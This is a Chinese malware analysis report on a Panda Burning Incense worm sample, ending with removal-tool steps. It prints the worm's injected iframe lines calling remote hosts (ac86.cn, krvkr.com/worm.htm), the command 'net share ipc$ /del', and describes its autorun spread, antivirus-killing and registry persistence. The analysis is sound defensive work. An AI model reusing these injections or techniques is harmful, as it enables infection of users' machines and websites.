样本名 | 2_dump_SCY.exe(熊猫烧香) |
---|---|
作者 | yusakul |
时间 | 2018-07-13 |
平台 | Win7-32 |
1.样本概况
1.1 样本信息
病毒名称 | 2_dump_SCY.exe |
---|---|
所属家族 | 熊猫烧香 |
样本名称 | 0c15096fb3bc30800f7af002c25953162b799391300a62b8507fe8e4f6532768 |
样本类型 | PE |
样本大小 | 98816 bytes |
MD5值 | b8f8e75c9e77743a61bbea9ccbcffd5d |
SHA1值 | 188fc8fc580c0ea4bf8a8900a3d36471823c8923 |
CRC32 | E63D45D3 |
SHA256 | 0c15096fb3bc30800f7af002c25953162b799391300a62b8507fe8e4f6532768 |
SSDeep | 3072:apAja0pSLwYqK6hVZ7N4bdq4a53YKCOTpc:a2ja0pShqK65ZOq4QYK1m |
1.2 病毒行为
设置注册表实现自启动 |
---|
修改资源管理器(explorer)的文件夹的隐藏属性 |
将进程的内存属性修改为可执行或可写 |
想系统服务发送控制码 |
删除服务 |
对指定运行的进程感兴趣 |
1.2 测试环境及工具
工具 | 备注 |
---|---|
VMware® Workstation 14 Pro | 分析环境win7_x32 |
火绒剑 | 行为监控 |
IDA pro 7.0 | 静态分析 |
Ollydbg | 动态分析 |
1.3 分析目标
1.3.1 查看PE文件
1. kernel32.dll文件导入函数
可以看出导入的这些函数都是进程、文件相关的API函数。
2. Advapi32.dll
Advapi32.dll是一个高级API应用程序接口。包括了函数与对象的安全性,注册表的操控以及事件日志相关的API函数。
这些函数主要包括三类:注册表相关函数,进程权限修改函数,服务相关函数。
3. Mpr.dll
Mpr.dll是windows操作系统网络通信相关模块。
Wsock.dll windows socket相关API接口。
WNetAddConnection2A创建一个网络资源的链接。
URLDownloadToFileA从指定的URL读取内容写入到文件中。
由上述的导入表分析可知,该病毒程序的主要功能包括:文件读写、注册表修改、进程权限修改,网络链接,URL等。
1.3.2 火绒剑监控 – 文件操作
1. 创建自我备份在根目录
2. 创建并释放隐藏文件Desktop_.ini
3. 自我复制
1.3.2火绒剑监控 – 注册表操作
1. 无效“显示所有文件和文件夹”功能
2. 删除杀毒软件自启项
3. 修改文件
使用notepad++查看被修改的文件,被新添加了一行:
<iframe src=http://www.ac86.cn/66/index.htm width="0" height="0"></iframe>
将该网址提交微步在线分析如下
1.3.3 火绒剑监控 – 网络操作
1. 扫描并尝试连接局域网脑内139、445端口
因为本次分析是在虚拟机封闭分析,所以没有连接其他主机,猜测此病毒连接成功后,会向其他主机发送自己,达到传播目的。
2. 尝试连接外网IP,并发送数据包
数据内容如下:
1.3.4火绒剑监控 – 进程操作
1. 遍历系统进程并启动自释放文件
2.具体行为分析
2.1 主要行为
2.1.1 恶意程序对用户造成的危害
1. 替换程序图标
2. 隐藏文件
3. 有目录创建Desktop_.ini文件,内容为当前时间(2018-7-11)。
- 大量用户软件被修改,无法正常运行
2.2 恶意代码分析
2.2.1 恶意代码树结构图
2.2.1 恶意代码IDA结构图
两次对比字符串是否相等,不相等则退出, 验证完成后有三个主要的恶意行为函数
2.2.2 主要功能函数sub_40819C – 复制
此函数主要功能为自我复制到系统目录并执行复制体。
1.查找系统目录下是否存在Desktop.ini文件,有则删除
2.检测病毒spc0lsv.exe
病毒会通过检查文件路径、病毒感染标志来确定进当前病毒属于以下三种情况的哪一种情况。
分别进程本身属于原始病毒文件、被感染的可执行文件、以及伪装目标进程三种情况。
(1)原始病毒文件
拷贝自身到
~/system32/driver/目录,重命名为spc0lsv.exe并运行,然后结束当前进程。
(2)当前程序时是被感染的可执行文件
1)在当前目录释放被感染的原始文件
2)删除系统目录下spo0lav
3)将创建病毒程序拷贝到系统目录,并执行。
(3)当前运行路径为系统根目录,说明当前是在伪装成系统程序状态下运行的,没有敏感操作。
2.2.3 主要功能函数sub_40D18C – 感染
此函数为感染传播函数。
该函数由3个主要函数,第一个执行感染功能,第二个实现自我复制,第三个局域网传播自身。
感染文件线程
(1)遍历文件夹,判断是否为文件夹,判断目录下是否存在Desktop_.ini文件。
判断是否存在Desktop_.ini
(2)若目录下存在Desktop_.ini,获取当前系统时间,对比Desktop_.ini中的时间,是同一天则表示此目录已被感染,跳过此目录。
若不同则在此目录下生成新的Desktop_.ini,写入本地时间。
(3)删除GHO备份
(4)感染PE文件 – 感染方式1
将病毒内容直接覆盖到要感染程序,感染目标文件后缀类型有:EXE、SCR、PIF、COM。
f_HackWay1:
(5)感染PE文件 – 感染方式2
网页感染:感染目标文件后缀类型有:htm, html, asp, php, jsp, aspx。
主要将字符串(<iframe src=http://www.krvkr.com/worm.htm width=0
height=0></iframe>)添加到文件末尾。
f_HackWays:
2. 自我复制 – 时钟周期6s
检索各个磁盘的根目录是否存在setup.exe和autorun.inf文件,存在则删除它们。
将自身复制到 盘符:\setup.exe
遍历磁盘, 创建“盘符:\autorun.inf”文件。
设置setup.exe文件属性为 <系统,隐藏>
设置autorun.inf文件属性为 <系统,隐藏>,同时将setup.exe设置为自启
3. 局域网传播
2.2.4 主要功能函数sub_40D088 – 其他
此函数主要功能为通过修改注册表实现自我保护,连接网站实现自我更新等功能。
该函数中设置了6个时钟周期,定时执行不同的功能。
TimerFunc_1(1s)
(1)提升进程权限
(2)遍历窗口名, 向指定窗口名发送QUIT消息, 并结束指定进程,大多为杀毒防护软件。
(3)扫描进程,如果有检测到以下进程则结束它,下图为部分截图:
(4)修改注册表,设置spo0lsv.exe开机启动,设置文件(夹)隐藏
TimerFunc_2(1200s)
通过URL地址更新
TimerFunc_3(10s)
(1)通过URL地址更新
(2)删除网络共享:net share ipc$ /del 删除ipc$共享
(3)关闭当前时钟
4. TimerFunc_4(6s)
将杀毒软件服务停止,并删除注册表启动项。
TimerFunc_5(10s)
字符串被加密操作过,根据特征猜测可能是网址,似乎是对一些网址做了操作。
TimerFunc_6(180s)
仍然是从某个网址上下载文件,应该不是关键操作。
3.解决方案
3.1 病毒行为
病毒行为1:病毒本身创建了名为“spo01sv.exe”的进程,该进程文件的路径为“C:\WINDOWS\system32\drivers\spo01sv.exe”。
病毒行为2:在注册表KCU\Software\Microsoft\Windows\CurrentVersio
n\Run”中创建“svcshare”,用于在开机时启动位于“C:\WINDOWS\system3
2\drivers\spo0lsv.exe”的病毒程序。
病毒行为3:修改注册表,使得隐藏文件无法通过普通的设置进行显示,该位置为HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Adva
nced\Folder\Hidden\SHOWALL,病毒将CheckedValue的键值设置为了0。
病毒行为4:将自身拷贝到根目录,并命名为“setup.exe”,同时创建“autorun.inf”用于病毒的启动,这两个文件的属性都是“隐藏”。
病毒行为5:在一些目录中创建名为“Desktop_.ini”的隐藏文件。
3.2 杀毒工具编写步骤
3.2.1 终止病毒进程
利用ToolHelpAPI获得快照句柄,而后再利用Process32First和Process32Next枚举当前的进程,枚举的过程当中获取结构体ProcessEntry32这个结构体里面的相关信息(包括进程名和进程ID);
找到目标进程之后,利用OpenProcess获取当前的进程句柄,最后再利用TerminateProcess终止病毒进程.
3.2.2. 删除文件
调用函数Bool DeleteFile (LPCTSTR
lpFilename),把lpFilename设为要指向删除的文件的文件名的指针即可,可以包含具体路径。
3.2.3 修复注册表,删除启动启动项
RegOpenKeyEx()打开目标主键,并返回句柄,然后利用RegSetValueEx进行修改键值,最后可以利用RegSetValueEx来删除键值,最后利用RegCloseKey来进行关闭。
3.2.3 查杀工具链接
我的GitHub·https://github.com/yusakul/PandaKiller